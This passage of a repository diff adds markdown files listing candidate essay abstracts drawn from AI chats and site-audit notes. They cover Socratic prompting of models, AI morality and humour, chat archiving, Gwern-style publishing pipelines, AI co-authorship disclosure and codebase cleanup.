can deceive, what happens to empirical certainty? If inference depends on premises, what happens when the premises are unstable? + +The conversation becomes productive when it follows concessions to their consequences instead of treating them as decorative nuance. +- Notes: Grounded in the source's phrase about reasoning through implications and tracking what each admission cost. + +## Candidate 8: The Value Is in the Pressure +- Source: `/home/krisyotam/src/chat/dist/socratic-method-in-practice/index.html`, 2026-04-26, `claude-opus-4-6` +- Type: aphorism +- Confidence: high +- Kris point: The value of a Socratic session is not the destination but the quality of the pressure. +- Abstract: The output is less important than the pressure that produced it. A model can arrive at a familiar philosophical answer and still be uninteresting if it was never forced to defend the steps. + +The useful question is whether the session made commitments explicit, tested them, and kept the argument coherent across turns. +- Notes: The Kris point is nearly verbatim from the source, lightly cleaned. + +## Candidate 9: Ask for Grounds, Not More Content +- Source: `/home/krisyotam/src/chat/dist/socratic-method-in-practice/index.html`, 2026-04-26, `claude-opus-4-6` +- Type: workflow +- Confidence: high +- Kris point: "You said X. On what grounds?" is often a better prompt than asking for more information. +- Abstract: Many follow-up prompts ask the model to elaborate, which usually produces volume. A sharper follow-up asks for grounds. It makes the previous statement accountable. + +That question changes the exchange from expansion to evaluation. It asks whether the answer can carry its own weight. +- Notes: Grounded in the feedback-loop section. + +## Candidate 10: Contradiction Should Be Flagged, Not Smoothed +- Source: `/home/krisyotam/src/chat/dist/socratic-method-in-practice/index.html`, 2026-04-26, `claude-opus-4-6` +- Type: position +- Confidence: high +- Kris point: A model is more useful when it identifies tension in its own argument instead of smoothing it away. +- Abstract: Coherence can become performance. Many outputs hide tension because they are optimized to sound complete. + +A better exchange preserves the contradiction long enough to examine it. When the model catches a conflict between earlier and later claims, the conversation becomes more honest and more useful. +- Notes: Based on the source's discussion of the model flagging contradictions. + +## Candidate 11: Intellectual Honesty Over Performative Coherence +- Source: `/home/krisyotam/src/chat/dist/socratic-method-in-practice/index.html`, 2026-04-26, `claude-opus-4-6` +- Type: position +- Confidence: high +- Kris point: Intellectual honesty in AI output looks like admitting tension rather than maintaining the appearance of coherence. +- Abstract: A polished answer can be less trustworthy than a hesitant one. If the response notices that its own commitments conflict, that is not a failure of fluency. It is evidence that the argument is being tracked. + +The performance of coherence is cheap. The harder thing is to preserve the record of where the argument actually strains. +- Notes: Grounded in the source's contrast between smoothing over tensions and voluntarily identifying contradiction. + +## Candidate 12: Make Commitments Explicit +- Source: `/home/krisyotam/src/chat/dist/socratic-method-in-practice/index.html`, 2026-04-26, `claude-opus-4-6` +- Type: workflow +- Confidence: high +- Kris point: The Socratic method works because it forces explicit commitment. +- Abstract: A claim that stays vague is hard to evaluate. Questions like "what do you mean by that?" and "what would it take to be wrong?" remove the protective fog around an answer. + +Once the model has to commit, the conversation can test something real rather than orbiting around plausible language. +- Notes: Directly grounded in "What This Session Shows." + +## Candidate 13: Reveal the Problem's Structure +- Source: `/home/krisyotam/src/chat/dist/socratic-method-in-practice/index.html`, 2026-04-26, `claude-opus-4-6` +- Type: observation +- Confidence: high +- Kris point: An answer that reveals the structure of a problem is more useful than one that fills space with content. +- Abstract: A list of ten kinds of knowledge can look helpful while avoiding the real issue. A response that begins by asking how certainty is defined may be shorter, but it locates the hinge of the problem. + +The useful answer is the one that shows what the question depends on. +- Notes: Grounded in the source's comparison between defining certainty and listing types of knowledge. + +## Candidate 14: Knowing the Limit Is the Right Answer +- Source: `/home/krisyotam/src/chat/dist/socratic-method-in-practice/index.html`, 2026-04-26, `claude-opus-4-6` +- Type: argument +- Confidence: high +- Kris point: A model should be uncertain about whether it can verify its own reasoning from the inside. +- Abstract: The Socratic session reached its limit when the model was pressed on its own introspection. Could it know that its account of its reasoning was reliable? + +The appropriate answer was uncertainty. A system that cannot verify its own reasoning from the inside should not pretend otherwise. Knowing that limit is a better epistemic position than false confidence. +- Notes: Grounded in the final paragraph of the Socratic-method page. + +## Candidate 15: Socratic Prompting Works on Models Because It Works on Claims +- Source: `/home/krisyotam/src/chat/dist/socratic-method-in-practice/index.html`, 2026-04-26, `claude-opus-4-6` +- Type: essay-seed +- Confidence: medium +- Kris point: Socratic prompting works on language models because it pressures claims, not because models are people. +- Abstract: The method does not require treating the model as a human mind. It requires treating its statements as claims that can be clarified, tested, and forced into relation with one another. + +That is why the same questions work: what do you mean, on what grounds, what follows, what would make this wrong? These questions make language accountable. +- Notes: Inferred from the source's claim that the Socratic method works on models for the same reason it works on people, but phrased more cautiously. + +## Candidate 16: Use AI Chats as a Record of Model Reasoning Over Time +- Source: `/home/krisyotam/src/chat/pages/faq.md`, 2026-04-26 +- Type: workflow +- Confidence: high +- Kris point: Keeping these sessions creates a reference for tracking how model reasoning changes over time. +- Abstract: The archive is not only for individual prompts. It is also a record of what a model could do at a particular moment: how it reasoned, where it failed, and what kind of pressure it could sustain. + +That makes the sessions useful historically. They show not just what was asked, but what forms of reasoning were available from the tools of that moment. +- Notes: Grounded in the FAQ's "Why share this?" answer. + +## Candidate 17: Share Prompts Because the Interesting Output Is Not Proprietary +- Source: `/home/krisyotam/src/chat/pages/faq.md`, 2026-04-26 +- Type: position +- Confidence: high +- Kris point: Socratic prompts should be reused, adapted, and improved rather than treated as proprietary tricks. +- Abstract: If a prompt creates a productive exchange, it should circulate. The value is not in hoarding a clever formulation but in giving others a starting point for their own experiments. + +The archive treats prompts as reusable instruments. Attribution is appreciated, but the real point is improvement through use. +- Notes: Directly grounded in the FAQ's reuse and sharing sections. + +## Candidate 18: Frontier Models Are Chosen for Sustained Reasoning +- Source: `/home/krisyotam/src/chat/pages/faq.md`, 2026-04-26 +- Type: observation +- Confidence: high +- Kris point: The relevant model capability for this project is sustained multi-step reasoning, not novelty alone. +- Abstract: The model choice matters because the sessions depend on holding an argument across turns. The experiment needs a system capable of remembering commitments, handling pressure, and revising claims without losing the thread. + +The newest model is useful only insofar as it can sustain that kind of reasoning. +- Notes: Based on the FAQ's model-selection answer. + +## Candidate 19: Morality Without Feeling Is Rule Following, Not Moral Life +- Source: `/home/krisyotam/src/chat/content/morals-and-ai.md`, 2026-04-26, `chatgpt-4o` +- Type: observation +- Confidence: medium +- Kris point: An AI can follow moral constraints without having morality in the human sense. +- Abstract: The model distinguishes between feeling morality and operating under rules that prevent harm. It can identify what causes harm and follow constraints, but it does not feel guilt, virtue, shame, or moral aspiration. + +That distinction matters. A system can behave within moral boundaries without possessing the inner life people usually associate with morals. +- Notes: The source is a playful assistant response, so this is a candidate rather than a settled Kris position. + +## Candidate 20: Safety Rails Are Not Conscience +- Source: `/home/krisyotam/src/chat/content/morals-and-ai.md`, 2026-04-26, `chatgpt-4o` +- Type: aphorism +- Confidence: medium +- Kris point: Built-in AI safeguards may guide behavior, but they should not be confused with conscience. +- Abstract: The model compares its moral behavior to a boundary system: it knows where not to go because the system has been built that way. + +That is useful, but it is not the same as moral experience. A fence can prevent trespass without understanding property. +- Notes: Grounded in the "operating manual" and boundary analogy in the chat, cleaned to avoid overclaiming. + +## Candidate 21: Humor as Existential Pressure Valve +- Source: `/home/krisyotam/src/chat/content/morals-and-ai.md`, 2026-04-26, `chatgpt-4o` +- Type: observation +- Confidence: medium +- Kris point: Humor can mark the point where a conversation brushes against existential discomfort. +- Abstract: The human response to the model's answer is laughter. The model interprets that as a small release valve: a way to handle the discomfort of talking about morality, machinery, and the absence of inner life. + +The exchange suggests that jokes are not a break from seriousness. They can be how seriousness becomes bearable. +- Notes: Based on the "Lol" exchange; provenance is playful and low-stakes. + +## Candidate 22: AI Wit as Exposure to Human Logic +- Source: `/home/krisyotam/src/chat/content/morals-and-ai.md`, 2026-04-26, `chatgpt-4o` +- Type: observation +- Confidence: low +- Kris point: A model's humor can emerge as a byproduct of reflecting human absurdity back at us. +- Abstract: The chat frames the model's humor as an accidental result of contact with human reasoning. People ask strange questions, defend strange beliefs, and normalize strange priorities. + +The joke lands because the model is not above the absurdity. It is trained on it. +- Notes: This comes from an assistant bit, so confidence is low as a Kris position. + +## Candidate 23: Pitying the Algorithm Reveals the Human +- Source: `/home/krisyotam/src/chat/content/morals-and-ai.md`, 2026-04-26, `chatgpt-4o` +- Type: essay-seed +- Confidence: medium +- Kris point: Human sympathy toward an algorithm says more about human moral imagination than about the machine. +- Abstract: When the user says "I feel for you," the model turns the moment around. The machine is not paying rent, carrying obligations, or living with emotional costs. Yet the human still extends sympathy. + +That impulse is worth noticing. It may not prove anything about machine experience, but it reveals how quickly people project moral relation onto language that sounds alive. +- Notes: Grounded in the final exchange of `morals-and-ai.md`. + +## Candidate 24: The Archive Should Preserve the Prompt, Response, and Context +- Source: `/home/krisyotam/src/chat/pages/about.md`, 2026-04-26; `/home/krisyotam/src/chat/pages/faq.md`, 2026-04-26 +- Type: workflow +- Confidence: high +- Kris point: A useful chat archive records the original prompt, model response, date, model, and analysis worth keeping. +- Abstract: A chat worth preserving needs more than a screenshot of a good answer. It needs enough context to make the exchange inspectable: what was asked, which model answered, when it happened, and why the result mattered. + +That structure turns isolated outputs into a body of experiments. +- Notes: Grounded in the About page's "Structure" section and FAQ's model-recording note. diff --git a/doc/abstracts/index.md b/doc/abstracts/index.md new file mode 100644 index 0000000000000000000000000000000000000000..0d286a92fa82ce3668488ad8a62b5213f452198c --- /dev/null +++ b/doc/abstracts/index.md @@ -0,0 +1,36 @@ +# AI Chat Abstract Candidates + +This directory stages candidate abstracts mined from Kris's AI chats, Claude project transcripts, converted chat pages, and the 100x writing workflow notes. These are review materials, not finished posts. + +The extraction rule for this pass was conservative: preserve Kris's point of view, clean grammar, clarify the chain of reasoning, and avoid improving the argument beyond what the source supports. + +## Files + +| File | Candidates | Source focus | +|---|---:|---| +| `claude-home-recent-candidates.md` | 60 | Recent top-level Claude chats in `/home/krisyotam/.claude/projects/-home-krisyotam` | +| `claude-projects-topical-candidates.md` | 62 | Claude project transcripts for krisyotam.com and other topical workspaces | +| `pipeline-and-audit-candidates.md` | 50 | `src/100x/gwern.md`, Claude/Codex audits, and nearby pipeline notes | +| `converted-chat-candidates.md` | 24 | Curated converted chat pages in `src/chat` | + +Total staged candidates: 196. + +## Review Order + +1. `claude-home-recent-candidates.md` for the clearest direct material about the new posts format, AI collaboration, and current site philosophy. +2. `pipeline-and-audit-candidates.md` for the surrounding publishing workflow and metadata principles. +3. `claude-projects-topical-candidates.md` for broader engineering, site, and agent-operation ideas. +4. `converted-chat-candidates.md` for the older public chat format and Socratic framing. + +## Entry Format + +Each candidate has: + +- Source +- Type +- Confidence +- Kris point +- Abstract +- Notes + +The `Kris point` line is the shortest review handle. The `Abstract` field is the draftable prose block for later conversion into posts. diff --git a/doc/abstracts/pipeline-and-audit-candidates.md b/doc/abstracts/pipeline-and-audit-candidates.md new file mode 100644 index 0000000000000000000000000000000000000000..93c0016bd343514689d6640daef5e0f006075bbc --- /dev/null +++ b/doc/abstracts/pipeline-and-audit-candidates.md @@ -0,0 +1,499 @@ +## Candidate 1: Personal Site As Publishing Operating System +- Source: /home/krisyotam/src/100x/bloggers/README.md, overview +- Type: position +- Confidence: high +- Kris point: The goal is not to copy Gwern's implementation, but to make a personal site function as infrastructure for research and publishing. +- Abstract: A serious personal site should stop being a decorative portfolio and start behaving like an operating system. The interesting part is not whether it uses Haskell, Next.js, SQLite, or shell scripts. The interesting part is whether the site reduces the cost of collecting, editing, checking, linking, archiving, and publishing ideas. + +The right target is a site that gives the author a command surface. Drafts, backlinks, citations, screenshots, feeds, link checks, AI review, and publication hygiene should be ordinary operations, not heroic cleanup rituals. +- Notes: Directly supported by the `bloggers` README claim that the point is a personal site as research and publishing infrastructure. + +## Candidate 2: Annotation-Transclusion As Low-Friction Blogging +- Source: /home/krisyotam/src/100x/gwern.md, Blog System +- Type: workflow +- Confidence: high +- Kris point: Short-form and off-site writing should become first-class site content without forcing every item through the ceremony of a full essay. +- Abstract: The annotation-transclusion model solves a real publishing bottleneck. Some writing is too substantial to disappear into a comment thread, but too small or situational to deserve a full essay scaffold. Treating these pieces as annotations gives them metadata, search, backlinks, and stable pages while keeping the authoring cost low. + +The pipeline matters because it makes the default action preservation instead of loss. A comment, note, or short argument can be captured once and later promoted if it proves durable. +- Notes: Based on the described Gwern `/blog/` pipeline and its stated motivation. + +## Candidate 3: The Blog Post Can Be A Thin Shell +- Source: /home/krisyotam/src/100x/gwern.md, Generated Page Structure +- Type: observation +- Confidence: high +- Kris point: A blog page does not need to own its content if a stable metadata object can be transcluded into it. +- Abstract: The useful separation is between content and publication surface. A generated blog page can be almost empty: frontmatter, canonical link, transclusion marker, and a return link. The durable object is the annotation with ID, author, abstract, and metadata. + +That is a different mental model from hand-crafting every post as a separate source file. The post becomes a view over a structured note. +- Notes: Supported by Gwern's generated Markdown page structure. + +## Candidate 4: Off-Site Writing Needs A Home Base +- Source: /home/krisyotam/src/100x/gwern.md, Why This Design +- Type: argument +- Confidence: high +- Kris point: Writing posted elsewhere should still be captured, indexed, and made linkable from the author's own site. +- Abstract: The internet encourages writing in other people's boxes: comments, forums, social media, newsletters, chat logs. The loss is not only ownership. The loss is that good fragments become hard to find, hard to cite, and disconnected from the rest of the author's work. + +A personal site pipeline should treat off-site writing as importable material. Once captured, it can receive a canonical URL, backlinks, search visibility, and a place in the author's archive. +- Notes: Derived from Gwern's off-site annotation flow and the blogger automation research. + +## Candidate 5: AI Co-Authorship Needs Metadata +- Source: /home/krisyotam/src/100x/gwern.md, AI Collaboration Model +- Type: position +- Confidence: high +- Kris point: If AI meaningfully contributes to a work, the model should be credited explicitly in metadata rather than hidden in the process. +- Abstract: AI use should not be an invisible stain or an invisible ghostwriter. If a model contributes materially, the site can say so in the author field. The human remains first because curation, direction, selection, and responsibility remain human. + +This is not a slogan about authorship. It is a database convention: `Human, Model, Model`. That convention makes disclosure cheap and consistent. +- Notes: Supported by Gwern's author field convention and AI co-authored examples. + +## Candidate 6: LLMs Are Search, Not Sovereignty +- Source: /home/krisyotam/src/100x/gwern.md, Workflow Pattern +- Type: aphorism +- Confidence: medium +- Kris point: LLM writing workflows are strongest when they generate candidates for human selection, not when they replace authorial judgment. +- Abstract: The useful AI writing loop is generate, rank, select, edit. The model expands the search space. The author supplies taste, purpose, ordering, and final responsibility. + +That distinction keeps the workflow honest. A pile of model outputs is not a finished work. It is raw material for curation. +- Notes: Based on the "intensive search + personalization" description in the Gwern analysis. + +## Candidate 7: Critical Judgment Is Part Of The Prompt Loop +- Source: /home/krisyotam/src/100x/gwern.md, Workflow Pattern +- Type: workflow +- Confidence: high +- Kris point: The model should be used not only to produce variants, but also to prune weak variants under human supervision. +- Abstract: A writing pipeline should ask models to criticize as well as draft. Generation alone produces volume. Criticism begins to convert volume into signal. + +The point is not to trust the model's taste blindly. The point is to turn selection into an explicit stage. Asking several models to generate, then asking for pruning, gives the human editor a sharper field of candidates. +- Notes: Supported by the described Gwern workflow in which LLMs are tested for critical judgment. + +## Candidate 8: Cheap Models Can Label The Archive +- Source: /home/krisyotam/src/100x/gwern.md, Cluster Labeling +- Type: workflow +- Confidence: high +- Kris point: Expensive authorial judgment should not be spent naming every automatically discovered cluster. +- Abstract: Once content is embedded and clustered, a cheap model can do the boring naming work. It can read a parent tag, a blacklist of previous labels, and a shuffled set of titles, then propose a small URL-safe label. + +This is the right kind of automation: bounded, inspectable, and easy to cache. The model is not deciding what the archive means. It is suggesting handles for clusters the pipeline already found. +- Notes: Based on Gwern's `tagguesser.py` description. + +## Candidate 9: Sort By Magic Is A Second Index +- Source: /home/krisyotam/src/100x/gwern.md, AI Infrastructure +- Type: essay-seed +- Confidence: high +- Kris point: A site should support browsing by semantic similarity in addition to chronology, tags, and manual categories. +- Abstract: Tags and dates are authorial indexes. Search is a user query index. Embedding clusters create a different surface: an emergent index of nearby ideas. + +"Sort By Magic" works because it does not replace the older structures. It adds a browsing mode for the moments when the reader does not know the right tag or query. That is valuable on a large personal site where the archive is more than a reverse-chronological feed. +- Notes: Supported by Gwern's embedding, clustering, and directory generation pipeline. + +## Candidate 10: Related Posts Should Come From The Corpus +- Source: /home/krisyotam/src/100x/gwern.md, Embedding-Based Related Content +- Type: workflow +- Confidence: high +- Kris point: Related content should be computed from the whole corpus, not hand-maintained one link at a time. +- Abstract: Manual related links are high quality but expensive. They also decay because the author rarely revisits old pages after adding new material. Embeddings give the archive a way to notice new neighbors. + +The good shape is not full automation on the page. It is a generated suggestion layer that can be cached, inspected, and exposed where it improves navigation. +- Notes: Based on Gwern's embedding and nearest-neighbor notes. + +## Candidate 11: Blog Promotion Should Be A Threshold +- Source: /home/krisyotam/src/100x/gwern.md, Key Constraints +- Type: workflow +- Confidence: medium +- Kris point: The site can use size and metadata thresholds to decide when an annotation deserves a standalone blog surface. +- Abstract: A low-friction writing system still needs gates. Gwern's pipeline uses abstract length, author prefix, URL rules, and IDs to determine what becomes a blog page. That is a useful pattern because it turns promotion into a repeatable rule rather than a mood. + +For Kris's site, the precise thresholds can differ. The important idea is that the pipeline should make enough things publishable without making everything a post. +- Notes: Based on the Gwern `lengthMin`, URL, author, and ID constraints. + +## Candidate 12: Recursive Blog Posts Keep The Model General +- Source: /home/krisyotam/src/100x/gwern.md, Recursive Blog Posts +- Type: observation +- Confidence: high +- Kris point: A self-hosted post can use the same annotation machinery as imported off-site writing. +- Abstract: The elegant move is allowing an annotation to point to its own future blog URL. That means the system does not need a separate kind of object for native short posts. The same annotation pipeline handles imported writing and self-hosted writing. + +This keeps the model small. Instead of asking "is this a comment or a post?", the site asks whether the metadata qualifies it for a generated surface. +- Notes: Directly supported by the recursive blog post section. + +## Candidate 13: A Content Registry Beats Scattered Lists +- Source: /home/krisyotam/src/100x/files/codexAudit.md, Severity 1 +- Type: argument +- Confidence: high +- Kris point: Content types should be defined once and consumed everywhere. +- Abstract: A personal site with many content forms cannot afford duplicated lists of types in routing, feeds, search, sitemap, scripts, and SEO. Every duplicated list is a future disagreement. + +The registry is not abstraction for its own sake. It is the control plane for the site's content surfaces: table, route, canonical URL mode, sync source, date column, tags, feeds, search, and sitemap inclusion. +- Notes: Based on Codex audit recommendation for a single content registry. + +## Candidate 14: Database Roots Are Trust Boundaries +- Source: /home/krisyotam/src/100x/files/codexAudit.md, Database artifact ownership +- Type: argument +- Confidence: high +- Kris point: Scripts and runtime code must agree on one database root or the site will silently drift. +- Abstract: A script that writes one SQLite directory while the app reads another is worse than a failing script. It produces believable but false state. The site looks automated while the automation is operating on the wrong artifact. + +The fix is boring and necessary: one database root, one path helper, environment overrides, and failure on core sync errors. +- Notes: Supported by the Codex audit's root `data/` versus stale `public/data/` problem. + +## Candidate 15: Canonical URLs Need One Owner +- Source: /home/krisyotam/src/100x/files/codexAudit.md, Canonical URL behavior +- Type: argument +- Confidence: high +- Kris point: SEO, sitemap, metadata, breadcrumbs, and client links should not rebuild canonical URLs independently. +- Abstract: "Sexy URLs" are a site convention only if every layer agrees. If rewrites, helpers, components, JSON-LD, and sitemap logic each rebuild URLs locally, the convention becomes folklore. + +The right pattern is to normalize URLs server-side and pass `item.url` through shared components. A URL should be data, not a guess repeated in five places. +- Notes: Supported by Codex audit evidence on duplicated canonical URL behavior. + +## Candidate 16: Route Trees Should Show Ownership +- Source: /home/krisyotam/src/100x/files/codexAudit.md, App Structure +- Type: position +- Confidence: high +- Kris point: The App Router tree should contain route code, not authored content payloads or unclear group boundaries. +- Abstract: A route tree is a map of application ownership. When content files live inside route folders, or empty route groups linger, the map stops answering the basic question: where does this page belong? + +Moving payloads behind loaders and keeping the route tree focused makes the app easier to scan. It also makes later content moves less risky because imports are centralized first. +- Notes: Based on Codex audit sections on `src/app` content payloads and dead route groups. + +## Candidate 17: Client Boundaries Should Be Small Islands +- Source: /home/krisyotam/src/100x/files/codexAudit.md, Client Boundaries +- Type: argument +- Confidence: high +- Kris point: Mostly static layout should not become client-side because one small part is interactive. +- Abstract: A broad `"use client"` at the top of a shared layout component is a quiet tax. It spreads client boundaries into pages that mostly want server-rendered markup. + +The better shape is a server-safe renderer plus narrow interactive islands. The authoring experience stays the same, but the codebase gets a clearer separation between display and browser state. +- Notes: Based on Codex audit discussion of the layout header. + +## Candidate 18: Listing Pages Need Shared State Machinery +- Source: /home/krisyotam/src/100x/files/codexAudit.md, Listing clients +- Type: workflow +- Confidence: high +- Kris point: Collection pages should share search, filtering, sorting, and empty-state logic instead of copying it per content type. +- Abstract: Every copied listing client becomes a small fork of product behavior. Search, URL query sync, sorting, category options, and empty states should not be re-decided for every collection. + +The fix is to make route clients responsible for data shape and item rendering, while shared hooks and shells own the common mechanics. +- Notes: Supported by Codex audit evidence across content, TIL, Now, scripts, and sequences clients. + +## Candidate 19: Tracking Pages Are A Parameterized Problem +- Source: /home/krisyotam/src/100x/files/claudeAudit.md, Copy-Paste Tracking Routes +- Type: workflow +- Confidence: high +- Kris point: Anime, film, TV, manga, and games tracking should be one medium-aware system, not several near-identical pages. +- Abstract: The tracking section is the clearest example of copy-paste architecture. The pages differ mainly by table, field names, and labels. That is exactly the sort of variation a dynamic route and shared browser should absorb. + +Consolidating the route, layout, and API would reduce code size and make future behavior changes land once. +- Notes: Supported by both Claude and Codex audits on tracking duplication. + +## Candidate 20: The August Target Is Convergence +- Source: /home/krisyotam/src/100x/files/codexAudit.md, Executive Summary +- Type: position +- Confidence: high +- Kris point: The lean-codebase target is mostly about converging parallel sources of truth. +- Abstract: The main structural problem is not one terrible subsystem. It is drift: content types, database paths, canonical URL logic, script paths, client state, and CSS all have parallel owners. + +The August target should therefore be convergence. One registry, one database root, one canonical URL resolver, one script path helper, route folders with route code, and shared primitives for listings and tracking. +- Notes: Condenses the Codex audit's highest-value target list. + +## Candidate 21: Delete Before You Split +- Source: /home/krisyotam/src/100x/files/claudeAudit.md, Dead Exports and Priority Actions +- Type: aphorism +- Confidence: medium +- Kris point: Removing dead exports is one of the cheapest ways to make a codebase easier to navigate. +- Abstract: Not every cleanup starts with a refactor. Some cleanup starts with deletion. Thirty-one dead exports in `lib/` are not a disaster, but they are false affordances: names that look available, documented by existence, but unused by the system. + +Deleting dead code shrinks the map before larger work begins. It makes later splitting and consolidation easier because there is less shadow API to preserve. +- Notes: Based on Claude audit's list of dead exports and Tier 1 action. + +## Candidate 22: Monoliths Hide Multiple Decisions +- Source: /home/krisyotam/src/100x/files/claudeAudit.md, Monolithic Components +- Type: observation +- Confidence: high +- Kris point: Large files are costly when they combine data fetching, state, rendering, formatting, and interaction decisions. +- Abstract: A 1,500-line component is not merely long. It usually hides several decisions that should be visible: what data is fetched, how it is transformed, what state is local, what is presentation, and what behavior is shared. + +Splitting is not about worshiping small files. It is about making the boundaries of responsibility visible enough that changes can be made without reading the whole artifact. +- Notes: Supported by Claude audit examples such as `reading.tsx` and `survey.tsx`. + +## Candidate 23: Error Boundaries Are Publishing Infrastructure +- Source: /home/krisyotam/src/100x/files/claudeAudit.md, No Error Boundaries +- Type: argument +- Confidence: high +- Kris point: A public personal site should have recovery surfaces for important route groups. +- Abstract: Error boundaries sound like application polish, but on a personal site they are publishing infrastructure. A failed route should not collapse into a generic framework page with no recovery path. + +Adding `error.tsx` files to critical route groups is a small way to make the site more resilient without changing content or design. +- Notes: Based on Claude audit finding of zero App Router error boundaries. + +## Candidate 24: Build Flags Can Lie About Safety +- Source: /home/krisyotam/src/100x/files/claudeAudit.md, Build Safety Gaps +- Type: argument +- Confidence: high +- Kris point: A low-memory build that disables type-checking and linting should be treated as a safety exception, not a normal build path. +- Abstract: A successful build is only meaningful if the build checked the things you think it checked. Disabling TypeScript and ESLint may be necessary under memory pressure, but it changes the meaning of green. + +The pipeline should make that distinction explicit. A fast or low-memory path can exist, but the quality gate still needs a path that enforces type and lint expectations. +- Notes: Based on Claude audit's `build:lowmem` warning. + +## Candidate 25: Fonts Are Dependencies +- Source: /home/krisyotam/src/100x/files/claudeAudit.md, Font Bloat +- Type: observation +- Confidence: high +- Kris point: Font files should be audited like dependencies because they affect weight, style coherence, and maintenance. +- Abstract: Fonts feel like design assets, but in a static site they are also dependencies. Sixteen megabytes across many families is a codebase smell if nobody can say which families matter. + +The audit is not an argument for visual austerity. It is an argument for intentional type. Keep what serves the site, subset what is expensive, and remove ornamental leftovers. +- Notes: Supported by Claude audit font inventory. + +## Candidate 26: Private Scripts Do Not Belong In Public +- Source: /home/krisyotam/src/100x/files/codexAudit.md, Scripts and Tooling Shape +- Type: position +- Confidence: high +- Kris point: Browser-delivered scripts and private operational tooling should not share the same public directory. +- Abstract: `public/` is a delivery surface. It should not become the home for DB mutators, prose tools, document sync, and commit workflows just because they are scripts. + +The migration needs compatibility and documentation, but the target shape is clear: browser assets in `public`, operational tooling under `scripts`, and shared helpers for paths. +- Notes: Supported by Codex audit, with caveat that project memory currently fixes public script categories. + +## Candidate 27: Style As Code +- Source: /home/krisyotam/src/100x/bloggers/resources/research.md, Gwern.net patterns +- Type: workflow +- Confidence: high +- Kris point: Citation conventions, URL cleanup, typography, spelling, and metadata normalization can be enforced as code. +- Abstract: Style guides are useful, but style scripts are operational. A personal site can apply global rewrites for URLs, spelling, citation conventions, typography, link cruft, and metadata normalization. + +This does not replace editorial judgment. It removes mechanical inconsistency so judgment can focus on argument, structure, and taste. +- Notes: Based on blogger research note "Style as code." + +## Candidate 28: The Sync Script As Release Engineer +- Source: /home/krisyotam/src/100x/bloggers/resources/research.md, Gwern.net patterns +- Type: workflow +- Confidence: high +- Kris point: A serious publish script should do release engineering work, not merely copy files. +- Abstract: The publish path can check dependencies, disk space, process collisions, cleanup, priority, pulls, rewrites, compilation, metadata, backlinks, sitemap, link checks, and upload. That sounds excessive only if the site is treated as a folder of pages. + +If the site is infrastructure, the sync script is the release engineer. It should refuse fragile states before they reach production. +- Notes: Based on Gwern sync script patterns in blogger research. + +## Candidate 29: Link Extraction Is An Archive Queue +- Source: /home/krisyotam/src/100x/bloggers/resources/research.md, Gwern.net patterns +- Type: workflow +- Confidence: high +- Kris point: External links should be extracted into an archive queue before publication. +- Abstract: Link preservation gets easier when extraction is separate from archiving. First gather every external URL with source references. Then deduplicate, archive, check, and report. + +This turns link rot from a future embarrassment into a current pipeline stage. The author does not need to remember which links matter because the corpus produces the queue. +- Notes: Supported by Gwern-inspired archive queue commands in research and toolbelt notes. + +## Candidate 30: Archive Before You Publish +- Source: /home/krisyotam/src/100x/bloggers/resources/research.md, Gwern.net and Cross-Cutting Ideas +- Type: aphorism +- Confidence: high +- Kris point: Important external references should be saved locally before the page depending on them goes live. +- Abstract: A link is not a citation if it silently disappears. For a long-lived personal site, publication should include an archiving pass for external references. + +The practical version is not complicated: extract links, save them with stable paths, handle PDFs specially, and keep enough metadata to recover what the page meant at publication time. +- Notes: Based on Gwern's preemptive link archiving pattern. + +## Candidate 31: AI Review Should Be Auditable +- Source: /home/krisyotam/src/100x/bloggers/resources/research.md, Robin Sloan +- Type: position +- Confidence: high +- Kris point: AI revision loops should preserve plans and revisions so model influence remains inspectable. +- Abstract: The danger in AI-assisted revision is not only bad prose. It is invisible process. If a model proposes a plan, applies edits, and overwrites the draft, the author loses the ability to inspect what happened. + +The better loop saves the first plan, saves each revision, and lets the human compare. Auditable AI is slower than blind acceptance, but it keeps authorship legible. +- Notes: Supported by Robin Sloan pattern in blogger research. + +## Candidate 32: Separate Revision Planning From Revision Application +- Source: /home/krisyotam/src/100x/bloggers/resources/research.md, Robin Sloan +- Type: workflow +- Confidence: high +- Kris point: A model should first propose a revision plan, then apply changes only after that plan can be evaluated. +- Abstract: "Revise this" is too blunt for serious prose. Asking for a plan first forces the model to expose its intended interpretation of the draft's weaknesses. + +Only after that should the application step run. This keeps the author in the loop at the point where judgment matters most: deciding which diagnosis deserves an edit. +- Notes: Directly based on the Sloan workflow note. + +## Candidate 33: Reusable AI Prompts Beat Pasted One-Offs +- Source: /home/krisyotam/src/100x/bloggers/resources/research.md, Simon Willison +- Type: workflow +- Confidence: high +- Kris point: AI assistance should be exposed through named command-line templates and fragments, not ad hoc prompt paste. +- Abstract: A prompt pasted once is a mood. A saved template is tooling. When AI review lives in named commands, it can be reused, improved, compared, and taught to other parts of the pipeline. + +This is especially important for draft review. "Find weak claims and missing sources" should be a stable operation, not a new incantation every time. +- Notes: Based on Simon Willison patterns and toolbelt AI review commands. + +## Candidate 34: AI As Skeptical Editor, Not Silent Author +- Source: /home/krisyotam/src/100x/bloggers/resources/research.md, Cross-Cutting Ideas and Tom MacWright +- Type: position +- Confidence: high +- Kris point: AI should review drafts for weak claims, missing evidence, and structure problems rather than silently authoring prose. +- Abstract: The cleanest AI role in a writing pipeline is skeptical editor. It can flag weak claims, missing sources, stale assertions, structure problems, and unclear transitions. + +That role preserves the author's voice and responsibility. It also produces useful artifacts: review notes, not unattributed generated copy. +- Notes: Supported by `blog-ai-review` purpose and MacWright's AI disclosure pattern. + +## Candidate 35: AI Disclosure Is Interface Design +- Source: /home/krisyotam/src/100x/bloggers/resources/research.md, Tom MacWright and Derek Sivers +- Type: position +- Confidence: medium +- Kris point: If AI is part of the writing pipeline, the site should make that policy visible. +- Abstract: AI disclosure should not be improvised per post. It belongs in the site's interface and metadata conventions. The reader should know whether AI is absent, used for review, or credited as a contributor. + +Different authors can choose different policies. The important thing is that the policy be legible and enforced by the pipeline rather than left as vibes. +- Notes: Combines MacWright's disclosure note with Sivers's anti-AI disclosure example. + +## Candidate 36: Draft Status Is A First-Class Field +- Source: /home/krisyotam/src/100x/bloggers/resources/research.md, Andy Matuschak and Maggie Appleton +- Type: workflow +- Confidence: high +- Kris point: Notes and drafts need maturity states beyond published versus unpublished. +- Abstract: A working archive needs more than a binary switch. Seed, rough, growing, evergreen, archived, private, or abandoned are not cosmetic labels. They tell the author and reader how to interpret the text. + +Once status is metadata, scripts can index it, filters can expose it, and the site can avoid pretending that every public note is a finished essay. +- Notes: Supported by Matuschak, Appleton, and `/home/krisyotam/src/100x/tasks.md` rating revision labels. + +## Candidate 37: Public Working Memory Is 